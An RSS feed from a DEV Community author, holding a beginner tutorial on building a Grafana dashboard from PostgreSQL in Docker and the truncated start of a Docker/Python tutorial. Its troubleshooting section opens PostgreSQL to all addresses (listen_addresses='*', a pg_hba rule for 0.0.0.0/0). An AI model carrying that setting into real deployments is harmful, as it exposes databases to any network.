<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sanjay Ghosh</title>
    <description>The latest articles on DEV Community by Sanjay Ghosh (@sanjayghosh).</description>
    <link>https://dev.to/sanjayghosh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3733607%2F167b985e-e1fa-44ef-afd9-7e6c162a39fe.jpg</url>
      <title>DEV Community: Sanjay Ghosh</title>
      <link>https://dev.to/sanjayghosh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sanjayghosh"/>
    <language>en</language>
    <item>
      <title>Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Fri, 12 Jun 2026 04:41:57 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</link>
      <guid>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</guid>
      <description>&lt;p&gt;As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.&lt;/p&gt;

&lt;p&gt;Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do we monitor what is happening after deployment?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's where Grafana comes in.&lt;/p&gt;

&lt;p&gt;Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a complete working example from scratch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install Grafana using Docker&lt;/li&gt;
&lt;li&gt;Create a PostgreSQL database&lt;/li&gt;
&lt;li&gt;Insert sample metrics&lt;/li&gt;
&lt;li&gt;Connect Grafana to PostgreSQL&lt;/li&gt;
&lt;li&gt;Build a dashboard&lt;/li&gt;
&lt;li&gt;Troubleshoot common connection issues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Grafana?
&lt;/h2&gt;

&lt;p&gt;Grafana is an open-source monitoring and visualization platform.&lt;/p&gt;

&lt;p&gt;It connects to various data sources and transforms raw data into interactive dashboards and alerts.&lt;/p&gt;

&lt;p&gt;Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;MySQL&lt;/li&gt;
&lt;li&gt;Prometheus&lt;/li&gt;
&lt;li&gt;Elasticsearch&lt;/li&gt;
&lt;li&gt;Loki&lt;/li&gt;
&lt;li&gt;AWS CloudWatch&lt;/li&gt;
&lt;li&gt;InfluxDB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A simplified architecture looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Where Grafana Fits in DevOps
&lt;/h2&gt;

&lt;p&gt;Grafana is used throughout the DevOps lifecycle.&lt;/p&gt;

&lt;h3&gt;
  
  
  Development
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Performance analysis&lt;/li&gt;
&lt;li&gt;Debugging bottlenecks&lt;/li&gt;
&lt;li&gt;Resource utilization monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Testing
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor test environments&lt;/li&gt;
&lt;li&gt;Validate application behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  CI/CD
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor deployments&lt;/li&gt;
&lt;li&gt;Track build success rates&lt;/li&gt;
&lt;li&gt;Visualize pipeline metrics&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Production
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Infrastructure monitoring&lt;/li&gt;
&lt;li&gt;Application Performance Monitoring (APM)&lt;/li&gt;
&lt;li&gt;Alerting and incident management&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1: Install Grafana Using Docker
&lt;/h2&gt;

&lt;p&gt;Pull the Grafana image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run Grafana:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; grafana &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.0:3000-&amp;gt;3000/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: admin
Password: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grafana will prompt you to change the password during the first login.&lt;/p&gt;

&lt;p&gt;Screenshot of login:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" alt=" " width="756" height="407"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2: Create a PostgreSQL Database
&lt;/h2&gt;

&lt;p&gt;Create a database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create a table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;SERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;metric_time&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cpu_usage&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3: Insert Sample Metrics
&lt;/h2&gt;

&lt;p&gt;Insert some sample CPU usage data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metric_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cpu_usage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'9 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'8 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'7 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'6 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'5 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'4 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'3 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'2 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'1 minute'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 4: Connect Grafana to PostgreSQL
&lt;/h2&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000/datasources
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PostgreSQL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save and test the connection.&lt;/p&gt;

&lt;p&gt;Screenshot of connection:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s0qodl9fei5r3h6ox2r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2s0qodl9fei5r3h6ox2r.jpg" alt=" " width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 5: Create Your First Dashboard
&lt;/h2&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dashboards
→ New Dashboard
→ Add Visualization
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Select your PostgreSQL data source.&lt;/p&gt;

&lt;p&gt;Switch to &lt;strong&gt;Code Mode&lt;/strong&gt; and execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;
    &lt;span class="n"&gt;metric_time&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="nv"&gt;"time"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cpu_usage&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;metric_time&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Click:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Run Query
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grafana automatically plots the data.&lt;/p&gt;

&lt;p&gt;Screenshot of graph:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxajm2hzoso4zfmq2n9.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzxajm2hzoso4zfmq2n9.jpg" alt=" " width="799" height="368"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Common Connection Problem
&lt;/h2&gt;

&lt;p&gt;One of the most common errors is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Network error:
Failed to connect to the server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dial tcp:
lookup host.docker.internal:
no such host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify PostgreSQL Settings
&lt;/h3&gt;

&lt;p&gt;Check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;listen_addresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You may see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listen_addresses = localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means PostgreSQL only accepts local connections.&lt;/p&gt;

&lt;p&gt;Grafana running inside Docker cannot reach it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Fix PostgreSQL Connectivity
&lt;/h2&gt;

&lt;p&gt;Locate the configuration file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; postgres psql &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"SHOW config_file;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/postgresql/16/main/postgresql.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;listen_addresses='*'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Update:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/etc/postgresql/16/main/pg_hba.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;host all all 0.0.0.0/0 scram-sha-256
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restart PostgreSQL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart postgresql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;service postgresql restart
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SHOW&lt;/span&gt; &lt;span class="n"&gt;listen_addresses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Find the Host IP Address
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;host.docker.internal&lt;/code&gt; does not work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt; &lt;span class="nt"&gt;-I&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;172.21.xxx.xxx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use that IP address as the Grafana host connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Grafana vs Prometheus
&lt;/h2&gt;

&lt;p&gt;A common beginner question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Do I need Prometheus?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer depends on your use case.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Prometheus
-----------
Collects Metrics

Grafana
--------
Visualizes Metrics
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prometheus and Grafana are frequently used together.&lt;/p&gt;




&lt;h2&gt;
  
  
  Grafana + Jenkins
&lt;/h2&gt;

&lt;p&gt;Grafana can also monitor Jenkins pipelines when combined with Prometheus exporters.&lt;/p&gt;




&lt;h2&gt;
  
  
  Learning Path
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Install Grafana
       |
       v
Connect Data Source
       |
       v
Run Queries
       |
       v
Create Dashboard
       |
       v
Create Alerts
       |
       v
Production Monitoring
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Grafana is one of the most valuable tools in the modern DevOps ecosystem because it turns raw operational data into actionable insights.&lt;/p&gt;

&lt;p&gt;Even with a simple PostgreSQL database and a handful of records, we can create meaningful visualizations and begin understanding trends, performance characteristics, and system behavior.&lt;/p&gt;

&lt;p&gt;In real-world environments, Grafana is often integrated with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prometheus for metrics collection&lt;/li&gt;
&lt;li&gt;Jenkins for CI/CD monitoring&lt;/li&gt;
&lt;li&gt;Docker and Kubernetes for container monitoring&lt;/li&gt;
&lt;li&gt;Loki for centralized logging&lt;/li&gt;
&lt;li&gt;Cloud platforms such as AWS, Azure, and Google Cloud&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This article focused on the fundamentals using PostgreSQL because it provides an easy way to understand how Grafana connects to a data source and transforms query results into visual dashboards.&lt;/p&gt;

&lt;p&gt;Once you're comfortable with this setup, the next logical steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Grafana + Prometheus&lt;/li&gt;
&lt;li&gt;Grafana + Jenkins&lt;/li&gt;
&lt;li&gt;Grafana + Docker Metrics&lt;/li&gt;
&lt;li&gt;Grafana + Kubernetes&lt;/li&gt;
&lt;li&gt;Grafana + Loki&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those integrations unlock the full power of observability and provide the continuous feedback loop that modern DevOps teams depend on.&lt;/p&gt;

&lt;p&gt;I hope this walkthrough helps you build your first Grafana dashboard and serves as a foundation for deeper monitoring and observability projects.&lt;/p&gt;




</description>
    </item>
    <item>
      <title>Understanding Docker Using a Tiny Python Application (A Beginner-Friendly Walkthrough)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 07 Jun 2026 18:46:39 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-docker-using-a-tiny-python-application-a-beginner-friendly-walkthrough-3232</link>
      <guid>https://dev.to/sanjayghosh/understanding-docker-using-a-tiny-python-application-a-beginner-friendly-walkthrough-3232</guid>
      <description>&lt;p&gt;Many Docker tutorials immediately introduce Docker Compose, Kubernetes, networking, volumes, and multi-container applications.&lt;/p&gt;

&lt;p&gt;For beginners, that can feel overwhelming.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a very small Docker image that runs a simple Python script. The goal is to understand the core Docker concepts before moving on to more advanced containerization topics.&lt;/p&gt;

&lt;p&gt;By the end of this tutorial, you'll understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What Docker is&lt;/li&gt;
&lt;li&gt;What a container is&lt;/li&gt;
&lt;li&gt;How Docker images work&lt;/li&gt;
&lt;li&gt;How to build an image&lt;/li&gt;
&lt;li&gt;How to run a container&lt;/li&gt;
